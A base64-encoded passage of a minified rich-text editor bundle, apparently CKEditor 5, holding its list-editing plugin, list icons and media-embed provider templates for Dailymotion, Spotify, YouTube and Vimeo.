ZUJlZm9yZSx7c2FtZUluZGVudDp0cnVlLHNtYWxsZXJJbmRlbnQ6dHJ1ZSxsaXN0SW5kZW50OnQsZm9vOiJiIn0pO2NvbnN0IGE9by5tYXBwZXI7Y29uc3QgYz1vLndyaXRlcjtjb25zdCBsPXM/cy5nZXRBdHRyaWJ1dGUoImxpc3RJbmRlbnQiKTpudWxsO2xldCBkO2lmKCFzKXtkPW59ZWxzZSBpZihsPT10KXtjb25zdCB0PWEudG9WaWV3RWxlbWVudChzKS5wYXJlbnQ7ZD1jLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCl9ZWxzZXtjb25zdCB0PXIuY3JlYXRlUG9zaXRpb25BdChzLCJlbmQiKTtkPWEudG9WaWV3UG9zaXRpb24odCl9ZD1OUyhkKTtmb3IoY29uc3QgdCBvZlsuLi5pLmdldENoaWxkcmVuKCldKXtpZihlVCh0KSl7ZD1jLm1vdmUoYy5jcmVhdGVSYW5nZU9uKHQpLGQpLmVuZDtJUyhjLHQsdC5uZXh0U2libGluZyk7SVMoYyx0LnByZXZpb3VzU2libGluZyx0KX19fWZ1bmN0aW9uIGVUKHQpe3JldHVybiB0LmlzKCJlbGVtZW50Iiwib2wiKXx8dC5pcygiZWxlbWVudCIsInVsIil9ZnVuY3Rpb24gblQodCl7bGV0IGU9MDtsZXQgbj10LnBhcmVudDt3aGlsZShuKXtpZihuLmlzKCJlbGVtZW50IiwibGkiKSl7ZSsrfWVsc2V7Y29uc3QgdD1uLnByZXZpb3VzU2libGluZztpZih0JiZ0LmlzKCJlbGVtZW50IiwibGkiKSl7ZSsrfX1uPW4ucGFyZW50fXJldHVybiBlfWNsYXNzIGlUIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkxpc3RFZGl0aW5nIn1zdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW3BfXX1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjt0Lm1vZGVsLnNjaGVtYS5yZWdpc3RlcigibGlzdEl0ZW0iLHtpbmhlcml0QWxsRnJvbToiJGJsb2NrIixhbGxvd0F0dHJpYnV0ZXM6WyJsaXN0VHlwZSIsImxpc3RJbmRlbnQiXX0pO2NvbnN0IGU9dC5kYXRhO2NvbnN0IG49dC5lZGl0aW5nO3QubW9kZWwuZG9jdW1lbnQucmVnaXN0ZXJQb3N0Rml4ZXIoKGU9PiRTKHQubW9kZWwsZSkpKTtuLm1hcHBlci5yZWdpc3RlclZpZXdUb01vZGVsTGVuZ3RoKCJsaSIsb1QpO2UubWFwcGVyLnJlZ2lzdGVyVmlld1RvTW9kZWxMZW5ndGgoImxpIixvVCk7bi5tYXBwZXIub24oIm1vZGVsVG9WaWV3UG9zaXRpb24iLFlTKG4udmlldykpO24ubWFwcGVyLm9uKCJ2aWV3VG9Nb2RlbFBvc2l0aW9uIixRUyh0Lm1vZGVsKSk7ZS5tYXBwZXIub24oIm1vZGVsVG9WaWV3UG9zaXRpb24iLFlTKG4udmlldykpO3QuY29udmVyc2lvbi5mb3IoImVkaXRpbmdEb3duY2FzdCIpLmFkZCgoZT0+e2Uub24oImluc2VydCIsSFMse3ByaW9yaXR5OiJoaWdoIn0pO2Uub24oImluc2VydDpsaXN0SXRlbSIsUlModC5tb2RlbCkpO2Uub24oImF0dHJpYnV0ZTpsaXN0VHlwZTpsaXN0SXRlbSIsRlMse3ByaW9yaXR5OiJoaWdoIn0pO2Uub24oImF0dHJpYnV0ZTpsaXN0VHlwZTpsaXN0SXRlbSIsVlMse3ByaW9yaXR5OiJsb3cifSk7ZS5vbigiYXR0cmlidXRlOmxpc3RJbmRlbnQ6bGlzdEl0ZW0iLFVTKHQubW9kZWwpKTtlLm9uKCJyZW1vdmU6bGlzdEl0ZW0iLGpTKHQubW9kZWwpKTtlLm9uKCJyZW1vdmUiLEdTLHtwcmlvcml0eToibG93In0pfSkpO3QuY29udmVyc2lvbi5mb3IoImRhdGFEb3duY2FzdCIpLmFkZCgoZT0+e2Uub24oImluc2VydCIsSFMse3ByaW9yaXR5OiJoaWdoIn0pO2Uub24oImluc2VydDpsaXN0SXRlbSIsUlModC5tb2RlbCkpfSkpO3QuY29udmVyc2lvbi5mb3IoInVwY2FzdCIpLmFkZCgodD0+e3Qub24oImVsZW1lbnQ6dWwiLEtTLHtwcmlvcml0eToiaGlnaCJ9KTt0Lm9uKCJlbGVtZW50Om9sIixLUyx7cHJpb3JpdHk6ImhpZ2gifSk7dC5vbigiZWxlbWVudDpsaSIscVMse3ByaW9yaXR5OiJoaWdoIn0pO3Qub24oImVsZW1lbnQ6bGkiLFdTKX0pKTt0Lm1vZGVsLm9uKCJpbnNlcnRDb250ZW50IixKUyx7cHJpb3JpdHk6ImhpZ2gifSk7dC5jb21tYW5kcy5hZGQoIm51bWJlcmVkTGlzdCIsbmV3IHlTKHQsIm51bWJlcmVkIikpO3QuY29tbWFuZHMuYWRkKCJidWxsZXRlZExpc3QiLG5ldyB5Uyh0LCJidWxsZXRlZCIpKTt0LmNvbW1hbmRzLmFkZCgiaW5kZW50TGlzdCIsbmV3IEVTKHQsImZvcndhcmQiKSk7dC5jb21tYW5kcy5hZGQoIm91dGRlbnRMaXN0IixuZXcgRVModCwiYmFja3dhcmQiKSk7Y29uc3QgaT1uLnZpZXcuZG9jdW1lbnQ7dGhpcy5saXN0ZW5UbyhpLCJlbnRlciIsKCh0LGUpPT57Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudDtjb25zdCBpPW4uc2VsZWN0aW9uLmdldExhc3RQb3NpdGlvbigpLnBhcmVudDtpZihuLnNlbGVjdGlvbi5pc0NvbGxhcHNlZCYmaS5uYW1lPT0ibGlzdEl0ZW0iJiZpLmlzRW1wdHkpe3RoaXMuZWRpdG9yLmV4ZWN1dGUoIm91dGRlbnRMaXN0Iik7ZS5wcmV2ZW50RGVmYXVsdCgpO3Quc3RvcCgpfX0pKTt0aGlzLmxpc3RlblRvKGksImRlbGV0ZSIsKCh0LGUpPT57aWYoZS5kaXJlY3Rpb24hPT0iYmFja3dhcmQiKXtyZXR1cm59Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247aWYoIW4uaXNDb2xsYXBzZWQpe3JldHVybn1jb25zdCBpPW4uZ2V0Rmlyc3RQb3NpdGlvbigpO2lmKCFpLmlzQXRTdGFydCl7cmV0dXJufWNvbnN0IG89aS5wYXJlbnQ7aWYoby5uYW1lIT09Imxpc3RJdGVtIil7cmV0dXJufWNvbnN0IHI9by5wcmV2aW91c1NpYmxpbmcmJm8ucHJldmlvdXNTaWJsaW5nLm5hbWU9PT0ibGlzdEl0ZW0iO2lmKHIpe3JldHVybn10aGlzLmVkaXRvci5leGVjdXRlKCJvdXRkZW50TGlzdCIpO2UucHJldmVudERlZmF1bHQoKTt0LnN0b3AoKX0pLHtwcmlvcml0eToiaGlnaCJ9KTtjb25zdCBvPXQ9PihlLG4pPT57Y29uc3QgaT10aGlzLmVkaXRvci5jb21tYW5kcy5nZXQodCk7aWYoaS5pc0VuYWJsZWQpe3RoaXMuZWRpdG9yLmV4ZWN1dGUodCk7bigpfX07dC5rZXlzdHJva2VzLnNldCgiVGFiIixvKCJpbmRlbnRMaXN0IikpO3Qua2V5c3Ryb2tlcy5zZXQoIlNoaWZ0K1RhYiIsbygib3V0ZGVudExpc3QiKSl9YWZ0ZXJJbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvci5jb21tYW5kcztjb25zdCBlPXQuZ2V0KCJpbmRlbnQiKTtjb25zdCBuPXQuZ2V0KCJvdXRkZW50Iik7aWYoZSl7ZS5yZWdpc3RlckNoaWxkQ29tbWFuZCh0LmdldCgiaW5kZW50TGlzdCIpKX1pZihuKXtuLnJlZ2lzdGVyQ2hpbGRDb21tYW5kKHQuZ2V0KCJvdXRkZW50TGlzdCIpKX19fWZ1bmN0aW9uIG9UKHQpe2xldCBlPTE7Zm9yKGNvbnN0IG4gb2YgdC5nZXRDaGlsZHJlbigpKXtpZihuLm5hbWU9PSJ1bCJ8fG4ubmFtZT09Im9sIil7Zm9yKGNvbnN0IHQgb2Ygbi5nZXRDaGlsZHJlbigpKXtlKz1vVCh0KX19fXJldHVybiBlfXZhciByVD0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTcgNS43NWMwIC40MTQuMzM2Ljc1Ljc1Ljc1aDkuNWEuNzUuNzUgMCAxIDAgMC0xLjVoLTkuNWEuNzUuNzUgMCAwIDAtLjc1Ljc1ek0zLjUgM3Y1SDJWMy43SDF2LTFoMi41VjN6TS4zNDMgMTcuODU3bDIuNTktMy4yNTdIMi45MmEuNi42IDAgMSAwLTEuMDQgMEguMzAyYTIgMiAwIDEgMSAzLjk5NSAwaC0uMDAxYy0uMDQ4LjQwNS0uMTYuNzM0LS4zMzMuOTg4LS4xNzUuMjU0LS41OS42OTItMS4yNDQgMS4zMTJINC4zdjFoLTRsLjA0My0uMDQzek03IDE0Ljc1YS43NS43NSAwIDAgMSAuNzUtLjc1aDkuNWEuNzUuNzUgMCAxIDEgMCAxLjVoLTkuNWEuNzUuNzUgMCAwIDEtLjc1LS43NXoiLz48L3N2Zz4nO3ZhciBzVD0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTcgNS43NWMwIC40MTQuMzM2Ljc1Ljc1Ljc1aDkuNWEuNzUuNzUgMCAxIDAgMC0xLjVoLTkuNWEuNzUuNzUgMCAwIDAtLjc1Ljc1em0tNiAwQzEgNC43ODQgMS43NzcgNCAyLjc1IDRjLjk2NiAwIDEuNzUuNzc3IDEuNzUgMS43NSAwIC45NjYtLjc3NyAxLjc1LTEuNzUgMS43NUMxLjc4NCA3LjUgMSA2LjcyMyAxIDUuNzV6bTYgOWMwIC40MTQuMzM2Ljc1Ljc1Ljc1aDkuNWEuNzUuNzUgMCAxIDAgMC0xLjVoLTkuNWEuNzUuNzUgMCAwIDAtLjc1Ljc1em0tNiAwYzAtLjk2Ni43NzctMS43NSAxLjc1LTEuNzUuOTY2IDAgMS43NS43NzcgMS43NSAxLjc1IDAgLjk2Ni0uNzc3IDEuNzUtMS43NSAxLjc1LS45NjYgMC0xLjc1LS43NzctMS43NS0xLjc1eiIvPjwvc3ZnPic7Y2xhc3MgYVQgZXh0ZW5kcyBuQ3tpbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvci50O1BTKHRoaXMuZWRpdG9yLCJudW1iZXJlZExpc3QiLHQoIk51bWJlcmVkIExpc3QiKSxyVCk7UFModGhpcy5lZGl0b3IsImJ1bGxldGVkTGlzdCIsdCgiQnVsbGV0ZWQgTGlzdCIpLHNUKX19Y2xhc3MgY1QgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW2lULGFUXX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iTGlzdCJ9fWZ1bmN0aW9uIGxUKHQsZSl7cmV0dXJuIHQ9Pnt0Lm9uKCJhdHRyaWJ1dGU6dXJsOm1lZGlhIixuKX07ZnVuY3Rpb24gbihuLGksbyl7aWYoIW8uY29uc3VtYWJsZS5jb25zdW1lKGkuaXRlbSxuLm5hbWUpKXtyZXR1cm59Y29uc3Qgcj1pLmF0dHJpYnV0ZU5ld1ZhbHVlO2NvbnN0IHM9by53cml0ZXI7Y29uc3QgYT1vLm1hcHBlci50b1ZpZXdFbGVtZW50KGkuaXRlbSk7Y29uc3QgYz1bLi4uYS5nZXRDaGlsZHJlbigpXS5maW5kKCh0PT50LmdldEN1c3RvbVByb3BlcnR5KCJtZWRpYS1jb250ZW50IikpKTtzLnJlbW92ZShjKTtjb25zdCBsPXQuZ2V0TWVkaWFWaWV3RWxlbWVudChzLHIsZSk7cy5pbnNlcnQocy5jcmVhdGVQb3NpdGlvbkF0KGEsMCksbCl9fWZ1bmN0aW9uIGRUKHQsZSxuKXtlLnNldEN1c3RvbVByb3BlcnR5KCJtZWRpYSIsdHJ1ZSx0KTtyZXR1cm4gdHYodCxlLHtsYWJlbDpufSl9ZnVuY3Rpb24gdVQodCl7Y29uc3QgZT10LmdldFNlbGVjdGVkRWxlbWVudCgpO2lmKGUmJmhUKGUpKXtyZXR1cm4gZX1yZXR1cm4gbnVsbH1mdW5jdGlvbiBoVCh0KXtyZXR1cm4hIXQuZ2V0Q3VzdG9tUHJvcGVydHkoIm1lZGlhIikmJlhfKHQpfWZ1bmN0aW9uIGZUKHQsZSxuLGkpe2NvbnN0IG89dC5jcmVhdGVDb250YWluZXJFbGVtZW50KCJmaWd1cmUiLHtjbGFzczoibWVkaWEifSk7dC5pbnNlcnQodC5jcmVhdGVQb3NpdGlvbkF0KG8sMCksZS5nZXRNZWRpYVZpZXdFbGVtZW50KHQsbixpKSk7cmV0dXJuIG99ZnVuY3Rpb24gbVQodCl7Y29uc3QgZT10LmdldFNlbGVjdGVkRWxlbWVudCgpO2lmKGUmJmUuaXMoImVsZW1lbnQiLCJtZWRpYSIpKXtyZXR1cm4gZX1yZXR1cm4gbnVsbH1mdW5jdGlvbiBnVCh0LGUsbil7dC5jaGFuZ2UoKGk9Pntjb25zdCBvPWkuY3JlYXRlRWxlbWVudCgibWVkaWEiLHt1cmw6ZX0pO3QuaW5zZXJ0Q29udGVudChvLG4pO2kuc2V0U2VsZWN0aW9uKG8sIm9uIil9KSl9Y2xhc3MgcFQgZXh0ZW5kcyBvQ3tyZWZyZXNoKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPXQuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IG49dC5zY2hlbWE7Y29uc3QgaT1ydihlLHQpO2NvbnN0IG89bVQoZSk7bGV0IHI9aS5wYXJlbnQ7aWYoci5pc0VtcHR5JiYhdC5zY2hlbWEuaXNMaW1pdChyKSl7cj1yLnBhcmVudH10aGlzLnZhbHVlPW8/by5nZXRBdHRyaWJ1dGUoInVybCIpOm51bGw7dGhpcy5pc0VuYWJsZWQ9bi5jaGVja0NoaWxkKHIsIm1lZGlhIil9ZXhlY3V0ZSh0KXtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG49ZS5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3QgaT1tVChuKTtpZihpKXtlLmNoYW5nZSgoZT0+e2Uuc2V0QXR0cmlidXRlKCJ1cmwiLHQsaSl9KSl9ZWxzZXtjb25zdCBpPXJ2KG4sZSk7Z1QoZSx0LGkpfX19dmFyIGtUPSc8c3ZnIHZpZXdCb3g9IjAgMCA2NCA0MiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNDcuNDI2IDE3VjMuNzEzTDYzLjEwMiAwdjE5LjM4OWgtLjAwMWwuMDAxLjI3MmMwIDEuNTk1LTIuMDMyIDMuNDMtNC41MzggNC4wOTgtMi41MDYuNjY4LTQuNTM4LS4wODMtNC41MzgtMS42NzggMC0xLjU5NCAyLjAzMi0zLjQzIDQuNTM4LTQuMDk4LjkxNC0uMjQ0IDIuMDMyLS41NjUgMi44ODgtLjYwM1Y0LjUxNkw0OS4wNzYgNy40NDd2OS41NTZBMS4wMTQgMS4wMTQgMCAwIDAgNDkgMTdoLTEuNTc0ek0yOS41IDE3aC04LjM0M2E3LjA3MyA3LjA3MyAwIDEgMC00LjY1NyA0LjA2djMuNzgxSDMuM2EyLjgwMyAyLjgwMyAwIDAgMS0yLjgtMi44MDRWOC42M2EyLjgwMyAyLjgwMyAwIDAgMSAyLjgtMi44MDVoNC4wODJMOC41OCAyLjc2OEExLjk5NCAxLjk5NCAwIDAgMSAxMC40MzUgMS41aDguOTg1Yy43NzMgMCAxLjQ3Ny40NDggMS44MDUgMS4xNDlsMS40ODggMy4xNzdIMjYuN2MxLjU0NiAwIDIuOCAxLjI1NiAyLjggMi44MDVWMTd6bS0xMS42MzcgMEgxNy41YTEgMSAwIDAgMC0xIDF2LjA1QTQuMjQ0IDQuMjQ0IDAgMSAxIDE3Ljg2MyAxN3ptMjkuNjg0IDJjLjk3IDAgLjk1My0uMDQ4Ljk1My44ODl2MjAuNzQzYzAgLjk1My4wMTYuOTA1LS45NTMuOTA1SDE5LjQ1M2MtLjk3IDAtLjk1My4wNDgtLjk1My0uOTA1VjE5Ljg5YzAtLjkzNy0uMDE2LS44ODkuOTctLjg4OWgyOC4wNzd6bS00LjcwMSAxOS4zMzhWMjIuMTgzSDI0LjE1NHYxNi4xNTVoMTguNjkyek0yMC42IDIxLjM3NXYxLjYxNmgxLjYxNnYtMS42MTZIMjAuNnptMCAzLjIzMXYxLjYxNmgxLjYxNnYtMS42MTZIMjAuNnptMCAzLjIzMXYxLjYxNmgxLjYxNnYtMS42MTZIMjAuNnptMCAzLjIzMXYxLjYxNmgxLjYxNnYtMS42MTZIMjAuNnptMCAzLjIzMXYxLjYxNmgxLjYxNnYtMS42MTZIMjAuNnptMCAzLjIzMXYxLjYxNmgxLjYxNlYzNy41M0gyMC42em0yNC4yMzMtMTYuMTU1djEuNjE2aDEuNjE1di0xLjYxNmgtMS42MTV6bTAgMy4yMzF2MS42MTZoMS42MTV2LTEuNjE2aC0xLjYxNXptMCAzLjIzMXYxLjYxNmgxLjYxNXYtMS42MTZoLTEuNjE1em0wIDMuMjMxdjEuNjE2aDEuNjE1di0xLjYxNmgtMS42MTV6bTAgMy4yMzF2MS42MTZoMS42MTV2LTEuNjE2aC0xLjYxNXptMCAzLjIzMXYxLjYxNmgxLjYxNVYzNy41M2gtMS42MTV6TTI5LjQ4NSAyNS4yODNhLjQuNCAwIDAgMSAuNTkzLS4zNWw5LjA1IDQuOTc3YS40LjQgMCAwIDEgMCAuNzAxbC05LjA1IDQuOTc4YS40LjQgMCAwIDEtLjU5My0uMzV2LTkuOTU2eiIvPjwvc3ZnPic7Y29uc3QgYlQ9IjAgMCA2NCA0MiI7Y2xhc3Mgd1R7Y29uc3RydWN0b3IodCxlKXtjb25zdCBuPWUucHJvdmlkZXJzO2NvbnN0IGk9ZS5leHRyYVByb3ZpZGVyc3x8W107Y29uc3Qgbz1uZXcgU2V0KGUucmVtb3ZlUHJvdmlkZXJzKTtjb25zdCByPW4uY29uY2F0KGkpLmZpbHRlcigodD0+e2NvbnN0IGU9dC5uYW1lO2lmKCFlKXtPYmplY3Qoc3NbImMiXSkoIm1lZGlhLWVtYmVkLW5vLXByb3ZpZGVyLW5hbWUiLHtwcm92aWRlcjp0fSk7cmV0dXJuIGZhbHNlfXJldHVybiFvLmhhcyhlKX0pKTt0aGlzLmxvY2FsZT10O3RoaXMucHJvdmlkZXJEZWZpbml0aW9ucz1yfWhhc01lZGlhKHQpe3JldHVybiEhdGhpcy5fZ2V0TWVkaWEodCl9Z2V0TWVkaWFWaWV3RWxlbWVudCh0LGUsbil7cmV0dXJuIHRoaXMuX2dldE1lZGlhKGUpLmdldFZpZXdFbGVtZW50KHQsbil9X2dldE1lZGlhKHQpe2lmKCF0KXtyZXR1cm4gbmV3IENUKHRoaXMubG9jYWxlKX10PXQudHJpbSgpO2Zvcihjb25zdCBlIG9mIHRoaXMucHJvdmlkZXJEZWZpbml0aW9ucyl7Y29uc3Qgbj1lLmh0bWw7Y29uc3QgaT14cyhlLnVybCk7Zm9yKGNvbnN0IGUgb2YgaSl7Y29uc3QgaT10aGlzLl9nZXRVcmxNYXRjaGVzKHQsZSk7aWYoaSl7cmV0dXJuIG5ldyBDVCh0aGlzLmxvY2FsZSx0LGksbil9fX1yZXR1cm4gbnVsbH1fZ2V0VXJsTWF0Y2hlcyh0LGUpe2xldCBuPXQubWF0Y2goZSk7aWYobil7cmV0dXJuIG59bGV0IGk9dC5yZXBsYWNlKC9eaHR0cHM/OlwvXC8vLCIiKTtuPWkubWF0Y2goZSk7aWYobil7cmV0dXJuIG59aT1pLnJlcGxhY2UoL153d3dcLi8sIiIpO249aS5tYXRjaChlKTtpZihuKXtyZXR1cm4gbn1yZXR1cm4gbnVsbH19Y2xhc3MgQ1R7Y29uc3RydWN0b3IodCxlLG4saSl7dGhpcy51cmw9dGhpcy5fZ2V0VmFsaWRVcmwoZSk7dGhpcy5fdD10LnQ7dGhpcy5fbWF0Y2g9bjt0aGlzLl9wcmV2aWV3UmVuZGVyZXI9aX1nZXRWaWV3RWxlbWVudCh0LGUpe2NvbnN0IG49e307bGV0IGk7aWYoZS5yZW5kZXJGb3JFZGl0aW5nVmlld3x8ZS5yZW5kZXJNZWRpYVByZXZpZXcmJnRoaXMudXJsJiZ0aGlzLl9wcmV2aWV3UmVuZGVyZXIpe2lmKHRoaXMudXJsKXtuWyJkYXRhLW9lbWJlZC11cmwiXT10aGlzLnVybH1pZihlLnJlbmRlckZvckVkaXRpbmdWaWV3KXtuLmNsYXNzPSJjay1tZWRpYV9fd3JhcHBlciJ9Y29uc3Qgbz10aGlzLl9nZXRQcmV2aWV3SHRtbChlKTtpPXQuY3JlYXRlUmF3RWxlbWVudCgiZGl2IixuLChmdW5jdGlvbih0KXt0LmlubmVySFRNTD1vfSkpfWVsc2V7aWYodGhpcy51cmwpe24udXJsPXRoaXMudXJsfWk9dC5jcmVhdGVFbXB0eUVsZW1lbnQoIm9lbWJlZCIsbil9dC5zZXRDdXN0b21Qcm9wZXJ0eSgibWVkaWEtY29udGVudCIsdHJ1ZSxpKTtyZXR1cm4gaX1fZ2V0UHJldmlld0h0bWwodCl7aWYodGhpcy5fcHJldmlld1JlbmRlcmVyKXtyZXR1cm4gdGhpcy5fcHJldmlld1JlbmRlcmVyKHRoaXMuX21hdGNoKX1lbHNle2lmKHRoaXMudXJsJiZ0LnJlbmRlckZvckVkaXRpbmdWaWV3KXtyZXR1cm4gdGhpcy5fZ2V0UGxhY2Vob2xkZXJIdG1sKCl9cmV0dXJuIiJ9fV9nZXRQbGFjZWhvbGRlckh0bWwoKXtjb25zdCB0PW5ldyBpdztjb25zdCBlPW5ldyBaYjt0LnRleHQ9dGhpcy5fdCgiT3BlbiBtZWRpYSBpbiBuZXcgdGFiIik7ZS5jb250ZW50PWtUO2Uudmlld0JveD1iVDtjb25zdCBuPW5ldyB5ayh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOiJjayBjay1yZXNldF9hbGwgY2stbWVkaWFfX3BsYWNlaG9sZGVyIn0sY2hpbGRyZW46W3t0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6ImNrLW1lZGlhX19wbGFjZWhvbGRlcl9faWNvbiJ9LGNoaWxkcmVuOltlXX0se3RhZzoiYSIsYXR0cmlidXRlczp7Y2xhc3M6ImNrLW1lZGlhX19wbGFjZWhvbGRlcl9fdXJsIix0YXJnZXQ6Il9ibGFuayIscmVsOiJub29wZW5lciBub3JlZmVycmVyIixocmVmOnRoaXMudXJsfSxjaGlsZHJlbjpbe3RhZzoic3BhbiIsYXR0cmlidXRlczp7Y2xhc3M6ImNrLW1lZGlhX19wbGFjZWhvbGRlcl9fdXJsX190ZXh0In0sY2hpbGRyZW46W3RoaXMudXJsXX0sdF19XX0pLnJlbmRlcigpO3JldHVybiBuLm91dGVySFRNTH1fZ2V0VmFsaWRVcmwodCl7aWYoIXQpe3JldHVybiBudWxsfWlmKHQubWF0Y2goL15odHRwcz8vKSl7cmV0dXJuIHR9cmV0dXJuImh0dHBzOi8vIit0fX12YXIgQVQ9big0OSk7dmFyIF9UPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07X1QuaW5zZXJ0PSJoZWFkIjtfVC5zaW5nbGV0b249dHJ1ZTt2YXIgdlQ9cmsoKShBVFsiYSJdLF9UKTt2YXIgeVQ9QVRbImEiXS5sb2NhbHN8fHt9O2NsYXNzIHhUIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIk1lZGlhRW1iZWRFZGl0aW5nIn1jb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0LmNvbmZpZy5kZWZpbmUoIm1lZGlhRW1iZWQiLHtwcm92aWRlcnM6W3tuYW1lOiJkYWlseW1vdGlvbiIsdXJsOi9eZGFpbHltb3Rpb25cLmNvbVwvdmlkZW9cLyhcdyspLyxodG1sOnQ9Pntjb25zdCBlPXRbMV07cmV0dXJuJzxkaXYgc3R5bGU9InBvc2l0aW9uOiByZWxhdGl2ZTsgcGFkZGluZy1ib3R0b206IDEwMCU7IGhlaWdodDogMDsgIj4nK2A8aWZyYW1lIHNyYz0iaHR0cHM6Ly93d3cuZGFpbHltb3Rpb24uY29tL2VtYmVkL3ZpZGVvLyR7ZX0iIGArJ3N0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHRvcDogMDsgbGVmdDogMDsiICcrJ2ZyYW1lYm9yZGVyPSIwIiB3aWR0aD0iNDgwIiBoZWlnaHQ9IjI3MCIgYWxsb3dmdWxsc2NyZWVuIGFsbG93PSJhdXRvcGxheSI+JysiPC9pZnJhbWU+IisiPC9kaXY+In19LHtuYW1lOiJzcG90aWZ5Iix1cmw6Wy9eb3Blblwuc3BvdGlmeVwuY29tXC8oYXJ0aXN0XC9cdyspLywvXm9wZW5cLnNwb3RpZnlcLmNvbVwvKGFsYnVtXC9cdyspLywvXm9wZW5cLnNwb3RpZnlcLmNvbVwvKHRyYWNrXC9cdyspL10saHRtbDp0PT57Y29uc3QgZT10WzFdO3JldHVybic8ZGl2IHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7IHBhZGRpbmctYm90dG9tOiAxMDAlOyBoZWlnaHQ6IDA7IHBhZGRpbmctYm90dG9tOiAxMjYlOyI+JytgPGlmcmFtZSBzcmM9Imh0dHBzOi8vb3Blbi5zcG90aWZ5LmNvbS9lbWJlZC8ke2V9IiBgKydzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyB0b3A6IDA7IGxlZnQ6IDA7IiAnKydmcmFtZWJvcmRlcj0iMCIgYWxsb3d0cmFuc3BhcmVuY3k9InRydWUiIGFsbG93PSJlbmNyeXB0ZWQtbWVkaWEiPicrIjwvaWZyYW1lPiIrIjwvZGl2PiJ9fSx7bmFtZToieW91dHViZSIsdXJsOlsvXig/Om1cLik/eW91dHViZVwuY29tXC93YXRjaFw/dj0oW1x3LV0rKS8sL14oPzptXC4pP3lvdXR1YmVcLmNvbVwvdlwvKFtcdy1dKykvLC9eeW91dHViZVwuY29tXC9lbWJlZFwvKFtcdy1dKykvLC9eeW91dHVcLmJlXC8oW1x3LV0rKS9dLGh0bWw6dD0+e2NvbnN0IGU9dFsxXTtyZXR1cm4nPGRpdiBzdHlsZT0icG9zaXRpb246IHJlbGF0aXZlOyBwYWRkaW5nLWJvdHRvbTogMTAwJTsgaGVpZ2h0OiAwOyBwYWRkaW5nLWJvdHRvbTogNTYuMjQ5MyU7Ij4nK2A8aWZyYW1lIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvJHtlfSIgYCsnc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsgdG9wOiAwOyBsZWZ0OiAwOyIgJysnZnJhbWVib3JkZXI9IjAiIGFsbG93PSJhdXRvcGxheTsgZW5jcnlwdGVkLW1lZGlhIiBhbGxvd2Z1bGxzY3JlZW4+JysiPC9pZnJhbWU+IisiPC9kaXY+In19LHtuYW1lOiJ2aW1lbyIsdXJsOlsvXnZpbWVvXC5jb21cLyhcZCspLywvXnZpbWVvXC5jb21cL1teL10rXC9bXi9dK1wvdmlkZW9cLyhcZCspLywvXnZpbWVvXC5jb21cL2FsYnVtXC9bXi9dK1wvdmlkZW9cLyhcZCspLywvXnZpbWVvXC5jb21cL2NoYW5uZWxzXC9bXi9dK1wvKFxkKykvLC9edmltZW9cLmNvbVwvZ3JvdXBzXC9bXi9dK1wvdmlkZW9zXC8oXGQrKS8sL152aW1lb1wuY29tXC9vbmRlbWFuZFwvW14vXStcLyhcZCspLywvXnBsYXllclwudmltZW9cLmNvbVwvdmlkZW9cLyhcZCspL10saHRtbDp0PT57Y29uc3QgZT10WzFdO3JldHVybic8ZGl2IHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7IHBhZGRpbmctYm90dG9tOiAxMDAlOyBoZWlnaHQ6IDA7IHBhZGRpbmctYm90dG9tOiA1Ni4yNDkzJTsiPicrYDxpZnJhbWUgc3JjPSJodHRwczovL3BsYXllci52aW1lby5jb20vdmlkZW8vJHtlfSIgYCsnc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsgdG9wOiAwOyBsZWZ0OiAwOyIgJysnZnJhbWVib3JkZXI9IjAiIHdlYmtpdGFsbG93ZnVsbHNjcmVlbiBtb3phbGxvd2Z1bGxzY3JlZW4gYWxsb3dmdWxsc2NyZWVuPicrIjwvaWZyYW1lPiIrIjwvZGl2PiJ9fSx7bmFtZToiaW5zdGFncmFtIix1cmw6L15pbnN0YWdyYW1cLmNvbVwvcFwvKFx3KykvfSx7bmFtZToidHdpdHRlciIsdXJsOi9edHdpdHRlclwuY29tL30se25hbWU6Imdvb2dsZU1